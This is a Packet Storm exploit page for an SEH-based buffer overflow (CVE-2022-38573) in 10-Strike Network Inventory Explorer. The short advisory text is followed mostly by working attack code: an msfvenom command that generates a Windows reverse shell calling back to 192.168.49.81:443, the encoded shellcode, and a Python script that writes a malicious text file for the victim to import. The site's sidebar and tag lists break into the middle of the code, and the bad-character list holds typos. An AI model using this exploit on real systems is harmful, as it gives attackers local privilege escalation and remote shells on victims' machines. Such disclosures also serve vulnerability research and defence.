

10-Strike Network Inventory Explorer 9.3 Buffer Overflow

Authored by [Ricardo Jose Ruiz Fernandez](#)Posted [Aug 23, 2022](#)

10-Strike Network Inventory Explorer versions 9.3 and below are vulnerable to a SEH based buffer overflow which leads to code execution or local privilege escalation. The vulnerable part of the program is the functionality to add computers from a text file.

tags | [exploit](#), [overflow](#), [local](#), [code execution](#)SHA-256 | [1ddf0a8ce3b87274d21f80b9363b6ad6aff3966452e9561847b4d6b7d6caeac4](#)[Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

[Download](#)

I. VULNERABILITY

10-Strike Network Inventory Explorer Version 9.51 - Privilege Escalation through SEH based Buffer Overflow

II. CVE REFERENCE

CVE-2022-38573

III. VENDOR

10-Strike Network (<https://www.10-strike.com/>)

IV. DESCRIPTION

10-Strike Network Inventory Explorer until latest version (9.51) is vulnerable to a SEH based Buffer Overflow which leads to code execution or local privilege escalation. The vulnerable part of the program is the functionality to add computers from a text file.

V. REFERENCES

Vendor website: <https://www.10-strike.com/>

Product website: <https://www.10-strike.com/networkinventoryexplorer/>

VI. EXPLOIT

Date: 16/08/2022

Exploit Author: Ricardo Ruiz (@ricardojoserf)

Usage: Create a file with this script and upload it clicking "Computers" and "From Text File". It should pop a calculator

from struct import pack

Bad chars are: \x09\x0a\x0d\x3a\x5c

badchars = (

b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"

b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"

b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"

b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"

b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"

b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"

b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"

b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xco"

b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xdo"

b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xeo"

b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfo"

b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

#b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

#b"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e\x0f\x10"

)

msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.49.81 -b

"\x00\x09\x0a\x0d\x3a\x5c\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x01\x02\x03\x04\x05\x06"

-v payload --smallest -f py

payload = b""

payload += b"\x89\xe3\xdb\x0d\x09\x73\xf4\x5b\x53\x59\x49\x49"

payload += b"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"

payload += b"\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"

payload += b"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"

payload += b"\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"

payload += b"\x69\x6c\x79\x78\x4c\x42\x43\x30\x53\x30\x33\x30"

payload += b"\x51\x70\x6e\x69\x6b\x55\x30\x31\x69\x50\x61\x74"

payload += b"\x6c\x4b\x36\x30\x56\x50\x4c\x4b\x50\x52\x76\x6c"

Search ...



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

| Su | Mo | Tu | We | Th | Fr | Sa |
|----|----|----|----|----|----|----|
| | | 1 | 2 | 3 | 4 | 5 |
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 | | | |

Top Authors In Last 30 Days

[Red Hat 188 files](#)[Ubuntu 57 files](#)[Gentoo 44 files](#)[Debian 28 files](#)[Apple 25 files](#)[Google Security Research 14 files](#)[malvuln 10 files](#)[nu11secuR1ty 6 files](#)[mjurczyk 4 files](#)[George Tsimpidas 3 files](#)

File Tags

[ActiveX \(932\)](#)[Advisory \(79,557\)](#)[Arbitrary \(15,643\)](#)[BBS \(2,859\)](#)[Bypass \(1,615\)](#)[CGI \(1,015\)](#)[Code Execution \(6,913\)](#)[Conference \(672\)](#)[Cracker \(840\)](#)[CSRF \(3,288\)](#)[DoS \(22,541\)](#)[Encryption \(2,349\)](#)[Exploit \(50,293\)](#)[File Inclusion \(4,162\)](#)[File Upload \(946\)](#)[Firewall \(821\)](#)[Info Disclosure \(2,656\)](#)

File Archives

[November 2022](#)[October 2022](#)[September 2022](#)[August 2022](#)[July 2022](#)[June 2022](#)[May 2022](#)[April 2022](#)[March 2022](#)[February 2022](#)[January 2022](#)[December 2021](#)[Older](#)

Systems

[AIX \(426\)](#)[Apple \(1,926\)](#)

```
payload += b"\x6e\x6b\x63\x62\x57\x64\x4c\x4b\x32\x52\x45\x78"
payload += b"\x34\x4f\x58\x37\x32\x6a\x54\x66\x56\x51\x49\x6f"
payload += b"\x6e\x4c\x45\x6c\x43\x51\x43\x4c\x74\x42\x34\x6c"
payload += b"\x51\x30\x69\x51\x5a\x6f\x76\x6d\x35\x51\x68\x47"
payload += b"\x4d\x32\x4c\x32\x32\x72\x33\x67\x4e\x6b\x62\x72"
payload += b"\x64\x50\x6e\x6b\x71\x5a\x65\x6c\x6e\x6b\x70\x4c"
payload += b"\x54\x51\x43\x48\x78\x63\x53\x78\x36\x61\x4a\x71"
payload += b"\x46\x31\x4e\x6b\x30\x59\x35\x70\x65\x51\x49\x43"
payload += b"\x4c\x4b\x50\x49\x34\x58\x59\x73\x47\x4a\x32\x69"
payload += b"\x6c\x4b\x66\x54\x6c\x4b\x76\x61\x69\x46\x75\x61"
payload += b"\x69\x6f\x6c\x6c\x69\x51\x5a\x6f\x64\x4d\x66\x61"
payload += b"\x6f\x37\x66\x58\x39\x70\x63\x45\x49\x66\x64\x43"
payload += b"\x73\x4d\x49\x68\x77\x4b\x51\x6d\x66\x44\x43\x45"
payload += b"\x5a\x44\x51\x48\x6c\x4b\x56\x38\x37\x54\x76\x61"
payload += b"\x7a\x73\x35\x36\x4e\x6b\x76\x6c\x30\x4b\x6c\x4b"
payload += b"\x46\x38\x47\x6c\x56\x61\x58\x53\x6e\x6b\x74\x44"
payload += b"\x6e\x6b\x45\x51\x38\x50\x6e\x69\x52\x64\x51\x34"
payload += b"\x37\x54\x33\x6b\x31\x4b\x61\x71\x33\x69\x51\x4a"
payload += b"\x62\x71\x49\x6f\x6b\x50\x31\x4f\x73\x6f\x33\x6a"
payload += b"\x4c\x4b\x62\x32\x5a\x4b\x4e\x6d\x31\x4d\x63\x58"
payload += b"\x55\x63\x55\x62\x43\x30\x73\x30\x73\x58\x33\x47"
payload += b"\x44\x33\x76\x52\x61\x4f\x46\x34\x51\x78\x42\x6c"
payload += b"\x34\x37\x54\x66\x57\x77\x79\x6f\x79\x45\x6e\x58"
payload += b"\x6c\x50\x47\x71\x75\x50\x43\x30\x77\x59\x38\x44"
payload += b"\x30\x54\x36\x30\x45\x38\x67\x59\x6b\x30\x70\x6b"
payload += b"\x43\x30\x79\x6f\x59\x45\x52\x70\x50\x50\x30\x50"
payload += b"\x42\x70\x33\x70\x56\x30\x61\x50\x72\x70\x53\x58"
payload += b"\x4a\x4a\x76\x6f\x79\x4f\x79\x70\x59\x6f\x79\x45"
payload += b"\x6d\x47\x32\x4a\x47\x75\x63\x58\x69\x50\x69\x38"
payload += b"\x34\x71\x33\x61\x65\x38\x74\x42\x45\x50\x75\x51"
payload += b"\x6f\x4b\x4e\x69\x38\x66\x31\x7a\x34\x50\x46\x36"
payload += b"\x31\x47\x32\x48\x6d\x49\x49\x35\x51\x64\x45\x31"
payload += b"\x79\x6f\x69\x45\x4d\x55\x4b\x70\x53\x44\x56\x6c"
payload += b"\x49\x6f\x72\x6e\x46\x68\x64\x35\x78\x6c\x71\x78"
payload += b"\x38\x70\x6d\x65\x79\x32\x42\x76\x49\x6f\x68\x55"
payload += b"\x63\x58\x52\x43\x30\x6d\x75\x34\x33\x30\x6c\x49"
payload += b"\x6a\x43\x63\x67\x52\x77\x33\x67\x50\x31\x79\x66"
payload += b"\x30\x6a\x62\x32\x53\x69\x76\x36\x59\x72\x4b\x4d"
payload += b"\x65\x36\x6b\x77\x43\x74\x46\x44\x37\x4c\x47\x71"
payload += b"\x56\x61\x4e\x6d\x73\x74\x77\x54\x66\x70\x4a\x66"
payload += b"\x33\x30\x43\x74\x30\x54\x70\x50\x51\x46\x76\x36"
payload += b"\x36\x36\x51\x56\x30\x56\x30\x4e\x72\x76\x62\x76"
payload += b"\x56\x33\x56\x36\x62\x48\x63\x49\x6a\x6c\x75\x6f"
payload += b"\x4f\x76\x59\x6f\x49\x45\x4d\x59\x6d\x30\x52\x6e"
payload += b"\x70\x56\x61\x56\x59\x6f\x44\x70\x35\x38\x53\x38"
payload += b"\x6c\x47\x55\x4d\x61\x70\x6b\x4f\x79\x45\x4d\x6b"
payload += b"\x7a\x50\x48\x35\x4d\x72\x43\x66\x50\x68\x6c\x66"
payload += b"\x7a\x35\x4d\x6d\x6f\x6d\x59\x66\x4b\x65\x65\x6c"
payload += b"\x46\x66\x63\x4c\x55\x5a\x6b\x30\x6b\x4b\x6d\x30"
payload += b"\x51\x65\x75\x55\x4f\x4b\x72\x67\x72\x33\x52\x52"
payload += b"\x72\x4f\x63\x5a\x35\x50\x61\x43\x79\x6f\x39\x45"
payload += b"\x41\x41"
```

```
#buffer = "A"*100000
buffer = b"A"*207
buffer += b"\x90\x90\xeb\x04" # bp 0x61e4dab1; g
buffer += b"\xb1\xda\xe4\x61"
buffer += b"\x90"*2
buffer += payload
```

```
with open("test.txt", 'wb') as out:
    out.write(buffer)
```



| | |
|---------------------------|------------------|
| Intrusion Detection (866) | BSD (370) |
| Java (2,888) | CentOS (55) |
| JavaScript (817) | Cisco (1,917) |
| Kernel (6,255) | Debian (6,620) |
| Local (14,173) | Fedora (1,690) |
| Magazine (586) | FreeBSD (1,242) |
| Overflow (12,390) | Gentoo (4,272) |
| Perl (1,417) | HPUX (878) |
| PHP (5,087) | iOS (330) |
| Proof of Concept (2,290) | iPhone (108) |
| Protocol (3,426) | IRIX (220) |
| Python (1,449) | Juniper (67) |
| Remote (30,009) | Linux (44,118) |
| Root (3,496) | Mac OS X (684) |
| Ruby (594) | Mandriva (3,105) |
| Scanner (1,631) | NetBSD (255) |
| Security Tool (7,768) | OpenBSD (479) |
| Shell (3,098) | RedHat (12,339) |
| Shellcode (1,204) | Slackware (941) |
| Sniffer (885) | Solaris (1,607) |
| Spoof (2,165) | SUSE (1,444) |
| SQL Injection (16,089) | Ubuntu (8,147) |
| TCP (2,377) | UNIX (9,150) |
| Trojan (685) | UnixWare (185) |
| UDP (875) | Windows (6,504) |
| Virus (661) | Other |
| Vulnerability (31,104) | |
| Web (9,329) | |
| Whitepaper (3,728) | |
| x86 (946) | |
| XSS (17,478) | |
| Other | |

[Login](#) or [Register](#) to add favorites

Site Links

| |
|----------------|
| News by Month |
| News Tags |
| Files by Month |
| File Tags |
| File Directory |

About Us

| |
|-----------------------|
| History & Purpose |
| Contact Information |
| Terms of Service |
| Privacy Statement |
| Copyright Information |

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed

packet storm

© 2022 Packet Storm. All rights reserved.